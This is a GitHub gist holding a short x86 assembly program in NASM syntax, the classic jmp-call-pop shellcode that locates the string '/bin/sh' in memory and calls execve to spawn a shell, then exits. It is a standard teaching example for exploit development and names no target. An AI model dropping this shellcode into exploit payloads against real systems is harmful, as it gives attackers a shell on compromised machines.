Created
October 19, 2016 20:19
-
-
Save RdlP/1d5dce3aad65f86ed48aab8f17fb042f to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
section .text | |
global _start | |
_start: | |
jmp truco | |
inicio: | |
pop ESI | |
xor EAX, EAX | |
mov [ESI + 7], AL | |
mov AL, 0Bh | |
mov EBX, ESI | |
xor ECX, ECX | |
xor EDX, EDX | |
int 80h | |
xor EBX, EBX | |
mov AL, 01h | |
int 80h | |
truco: | |
call inicio | |
db '/bin/sh' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment